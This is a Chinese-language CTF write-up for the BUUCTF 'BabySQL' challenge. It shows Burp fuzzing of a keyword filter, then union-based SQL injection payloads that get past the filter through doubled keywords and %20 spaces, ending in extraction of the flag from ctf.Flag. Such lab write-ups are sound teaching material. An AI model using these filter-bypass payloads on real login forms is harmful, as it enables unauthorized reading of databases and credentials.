题目地址：https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]BabySQL
![BUUCTF：[极客大挑战 2019]BabySQL_mysql](/i/li/?n=2&i=images/blog/202306/19154643_649007e3892a992593.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
![BUUCTF：[极客大挑战 2019]BabySQL_字段_02](/i/li/?n=2&i=images/blog/202306/19154643_649007e3aca6179618.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
简单测试之后发现有些字符被过滤，初步判断这里的过滤是指特殊字符被替换为空，如下图所示
![BUUCTF：[极客大挑战 2019]BabySQL_特殊字符_03](/i/li/?n=2&i=images/blog/202306/19154643_649007e3e1c5446358.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
使用Burp进行SQL过滤字符的Fuzz
![BUUCTF：[极客大挑战 2019]BabySQL_mysql_04](/i/li/?n=2&i=images/blog/202306/19154644_649007e430f3a23060.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
这些长度为726响应内容是Input your username and password的Fuzz结果是被过滤的字符
Trick
- 替换为空的关键字过滤使用双写关键字绕过
- 这里空格可以使用%20绕过
username='oorrder%20bbyy%204--+&password=mochu7当前表有3个字段
![BUUCTF：[极客大挑战 2019]BabySQL_mysql_05](/i/li/?n=2&i=images/blog/202306/19154644_649007e45324a47085.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
?username=mochu'ununionion%20selselectect%201,2,3--+&password=mochu7回显位是第二个字段和第三个字段
![BUUCTF：[极客大挑战 2019]BabySQL_mysql_06](/i/li/?n=2&i=images/blog/202306/19154644_649007e4b26e04862.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
?username=mochu'ununionion%20selselectect%201,2,group_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata--+&password=mochu7查询出所有的库
information_schema,mysql,performance_schema,test,ctf,geek![BUUCTF：[极客大挑战 2019]BabySQL_字段_07](/i/li/?n=2&i=images/blog/202306/19154645_649007e52992935348.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
?username=mochu'ununionion%20selselectect%201,2,group_concat(table_name)%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema='ctf'--+&password=mochu7查出ctf库中的所有表
![BUUCTF：[极客大挑战 2019]BabySQL_特殊字符_08](/i/li/?n=2&i=images/blog/202306/19154645_649007e5ac65442958.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
?username=mochu'ununionion%20selselectect%201,2,group_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_name='Flag'--+&password=mochu7查询出表的字段
![BUUCTF：[极客大挑战 2019]BabySQL_特殊字符_09](/i/li/?n=2&i=images/blog/202306/19154646_649007e62073530943.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
?username=mochu'ununionion%20selselectect%201,2,flag%20frfromom%20ctf.Flag--+&password=mochu7查flag字段的内容
![BUUCTF：[极客大挑战 2019]BabySQL_特殊字符_10](/i/li/?n=2&i=images/blog/202306/19154646_649007e6a8eef21617.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")